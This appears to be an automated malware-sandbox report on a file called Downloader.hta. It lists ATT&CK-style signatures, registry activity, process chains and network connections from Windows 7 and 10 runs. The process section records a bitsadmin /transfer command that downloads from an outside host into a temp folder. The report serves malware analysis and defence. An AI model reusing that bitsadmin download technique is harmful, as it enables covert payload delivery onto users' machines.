Analysis Overview
SHA256
a536c510d65bb3cfd573a05e0107ab46f427f804431970ecb18c7f173a9ccafd
Threat Level: Likely malicious
The file Downloader.hta was found to be: Likely malicious.
Malicious Activity Summary
Download via BitsAdmin
Checks computer location settings
Enumerates physical storage devices
System Location Discovery: System Language Discovery
Modifies Internet Explorer settings
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-28 15:13
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-28 15:13
Reported
2024-08-28 15:16
Platform
win7-20240708-en
Max time kernel
121s
Max time network
123s
Command Line
Signatures
Download via BitsAdmin
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\bitsadmin.exe | N/A |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\bitsadmin.exe | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\SysWOW64\mshta.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2112 wrote to memory of 592 | N/A | C:\Windows\SysWOW64\mshta.exe | C:\Windows\SysWOW64\bitsadmin.exe |
| PID 2112 wrote to memory of 592 | N/A | C:\Windows\SysWOW64\mshta.exe | C:\Windows\SysWOW64\bitsadmin.exe |
| PID 2112 wrote to memory of 592 | N/A | C:\Windows\SysWOW64\mshta.exe | C:\Windows\SysWOW64\bitsadmin.exe |
| PID 2112 wrote to memory of 592 | N/A | C:\Windows\SysWOW64\mshta.exe | C:\Windows\SysWOW64\bitsadmin.exe |
Processes
C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Downloader.hta"
C:\Windows\SysWOW64\bitsadmin.exe
"C:\Windows\System32\bitsadmin.exe" /transfer 8 https://go.enderman.ch/youtube C:\Users\Admin\AppData\Local\Temp\sex
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | go.enderman.ch | udp |
| US | 172.67.144.187:443 | go.enderman.ch | tcp |
| US | 172.67.144.187:443 | go.enderman.ch | tcp |
Files
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-28 15:13
Reported
2024-08-28 15:18
Platform
win10v2004-20240802-en
Max time kernel
131s
Max time network
205s
Command Line
Signatures
Download via BitsAdmin
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\bitsadmin.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation | C:\Windows\SysWOW64\mshta.exe | N/A |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\bitsadmin.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 3368 wrote to memory of 2984 | N/A | C:\Windows\SysWOW64\mshta.exe | C:\Windows\SysWOW64\bitsadmin.exe |
| PID 3368 wrote to memory of 2984 | N/A | C:\Windows\SysWOW64\mshta.exe | C:\Windows\SysWOW64\bitsadmin.exe |
| PID 3368 wrote to memory of 2984 | N/A | C:\Windows\SysWOW64\mshta.exe | C:\Windows\SysWOW64\bitsadmin.exe |
Processes
C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Downloader.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
C:\Windows\SysWOW64\bitsadmin.exe
"C:\Windows\System32\bitsadmin.exe" /transfer 8 https://go.enderman.ch/youtube C:\Users\Admin\AppData\Local\Temp\sex
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 104.219.191.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 81.144.22.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 4.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 136.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | go.enderman.ch | udp |
| US | 172.67.144.187:443 | go.enderman.ch | tcp |
| US | 8.8.8.8:53 | 187.144.67.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | youtube.com | udp |
| GB | 216.58.201.110:443 | youtube.com | tcp |
| US | 8.8.8.8:53 | 110.201.58.216.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.86.106.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | www.youtube.com | udp |
| GB | 142.250.178.14:443 | www.youtube.com | tcp |
| US | 8.8.8.8:53 | consent.youtube.com | udp |
| GB | 216.58.201.110:443 | consent.youtube.com | tcp |
| US | 8.8.8.8:53 | 14.178.250.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 56.126.166.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 30.243.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 10.28.171.150.in-addr.arpa | udp |